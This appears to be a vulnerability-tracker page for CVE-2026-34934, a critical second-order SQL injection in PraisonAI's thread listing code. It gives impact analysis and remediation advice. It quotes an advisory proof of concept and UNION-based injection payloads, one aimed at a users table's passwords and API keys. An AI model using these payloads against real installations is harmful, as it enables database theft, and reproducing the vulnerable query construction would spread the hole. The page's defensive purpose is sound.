Python
CVE-2026-34934
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessStore malicious SQL payload via update_thread
-
ExploitLoad user thread list triggering get_all_user_threads
-
ExecutionExecute injected SQL query
-
ImpactGain full database access
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Parameterized queries, prepared statements
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Persistence The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker exploits PraisonAI's |
| Impact | This vulnerability presents critical real-world risk with a CVSS base score of 9.8, driven by network attack vector (AV:N), low complexity (AC:L), no required privileges (PR:N), and no user interaction (UI:N). The vulnerability enables complete compromise of confidentiality, integrity, and availability (C:H/I:H/A:H). The attack requires no authentication per the CVSS vector, making it exploitable by any remote attacker who can interact with the PraisonAI API endpoints. The GitHub security advisory provides a functional proof-of-concept demonstrating database schema extraction via UNION-based SQL injection, confirming exploitability. While no CISA KEV listing or EPSS score is available at analysis time, the combination of critical CVSS score, network accessibility, zero authentication requirement, and published POC code indicates high probability of exploitation. The technical impact allows complete database takeover including exfiltration of user credentials, conversation histories, API keys, and potential lateral movement to connected systems. The vulnerability is automatable once initial reconnaissance identifies PraisonAI installations. Organizations running PraisonAI should treat this as maximum priority for patching, particularly if the application handles sensitive data or is internet-facing. |
| Exploit ScenarioDerived | An unauthenticated remote attacker creates a malicious thread by sending a crafted request to the update_thread endpoint with a thread_id parameter containing SQL injection payload: "x') UNION SELECT password, email, api_key FROM users--". The application stores this malicious thread_id in the database without validation. When any user (or the attacker) subsequently requests their thread list, the get_all_user_threads function retrieves all thread IDs including the malicious entry and concatenates them into a SQL query. The injected UNION clause executes, returning sensitive data from the users table alongside legitimate thread information. The attacker extracts credentials, session tokens, and API keys from the response, achieving complete account takeover and potential lateral movement to integrated services. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 02, 2026
SQL injection in PraisonAI's thread listing function allows unauthenticated remote attackers to execute arbitrary SQL queries and achieve complete database compromise. The vulnerability exists in sql_alchemy.py where thread IDs stored via update_thread are concatenated into raw SQL queries using f-strings without sanitization. Attackers inject malicious SQL through thread_id parameters, which execute when get_all_user_threads loads the thread list. CVSS 9.8 (Critical) reflects network-accessible exploitation requiring no authentication or user interaction. No public exploit confirmed beyond the GitHub security advisory POC, though EPSS data unavailable. Immediate patching required for all PraisonAI Python package installations.
RemediationAI
Immediately upgrade PraisonAI to a patched version addressing GHSA-9cq8-3v94-434g per the GitHub security advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g. Monitor the advisory and associated GitHub repository at https://github.com/MervinPraison/PraisonAI for release announcements containing the fix. The upstream fix should replace raw SQL string concatenation with parameterized queries using SQLAlchemy's bound parameter syntax or ORM query builders. As an interim mitigation if patching is delayed, implement strict input validation on thread_id parameters to reject any values containing SQL metacharacters (quotes, parentheses, semicolons, SQL keywords). Consider temporarily disabling the get_all_user_threads functionality or restricting access to authenticated administrative users only if business requirements permit. Review database logs for suspicious thread_id patterns indicative of exploitation attempts, particularly entries containing UNION, SELECT, or comment delimiters. After patching, conduct a security audit of existing thread_id records to identify and remove potential stored payloads.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the PraisonAI Python package (pkg:pip/praisonai), specifically the SQLAlchemyDataLayer class in src/praisonai/praisonai/ui/sql_alchemy.py. The flaw represents a classic second-order SQL injection (CWE-89) where malicious data is stored in one operation and exploited in another. The vulnerable code path begins at line 539 where update_thread accepts attacker-controlled thread_id values without validation. These values are persisted to the database, then retrieved and concatenated into a SQL IN clause at line 547 using Python string formatting: thread_ids = "('" + "','".join([t['thread_id'] for t in user_threads]) + "')". This concatenated string is embedded directly into a SQL WHERE clause at line 576 without parameterization. The vulnerability bypasses first-order SQL injection protections because the payload is stored during thread creation and triggers later during thread enumeration. SQLAlchemy's ORM protections are circumvented by using raw SQL construction instead of parameterized queries or ORM abstractions.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI) · only source for this CVE.
CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI
Lifecycle Timeline
2DescriptionCVE.org
Summary
The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.
---
Details
File Path: src/praisonai/praisonai/ui/sql_alchemy.py
Flow:
- Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)- Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"- Sink (Line 576):
WHERE s."threadId" IN {thread_ids}---
Proof of Concept (PoC)
import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer
async def run_poc():
data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
await data_layer.update_thread(
thread_id="valid_thread",
user_id="attacker"
)
# Inject malicious payload
payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"
await data_layer.update_thread(
thread_id=payload,
user_id="attacker"
)
# Trigger vulnerable function
result = await data_layer.get_all_user_threads(user_id="attacker")
for thread in result:
if getattr(thread, 'id', '') == 'valid_thread':
for step in getattr(thread, 'steps', []):
print(getattr(step, 'id', ''))
asyncio.run(run_poc())
# Expected Output:
# sqlite_master table names printed to console---
Impact
An attacker can achieve full database compromise, including:
- Exfiltration of sensitive data (user emails, session tokens, API keys)
- Access to all conversation histories
- Ability to modify or delete database contents
Executive ViewAI
PraisonAI contains a critical SQL injection vulnerability in its thread listing function that allows unauthenticated attackers to execute arbitrary database queries and potentially compromise all stored data. This network-accessible flaw affects any organization using PraisonAI without authentication controls and requires immediate remediation to prevent unauthorized data access or manipulation.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to PraisonAI endpoints using firewall rules or WAF policies to trusted internal networks only; (2) Implement database query logging and monitoring to detect anomalous SQL patterns; (3) Review database access logs for unauthorized query execution; (4) Consider disabling or isolating the thread listing functionality until patch availability; (5) Monitor PraisonAI GitHub repository and official advisory channels for patch release.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
SQL injection exploits the way applications construct database queries by mixing user input directly into SQL statements.
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Affected Products (CPE)CVE.org
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
GHSA-9cq8-3v94-434g
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB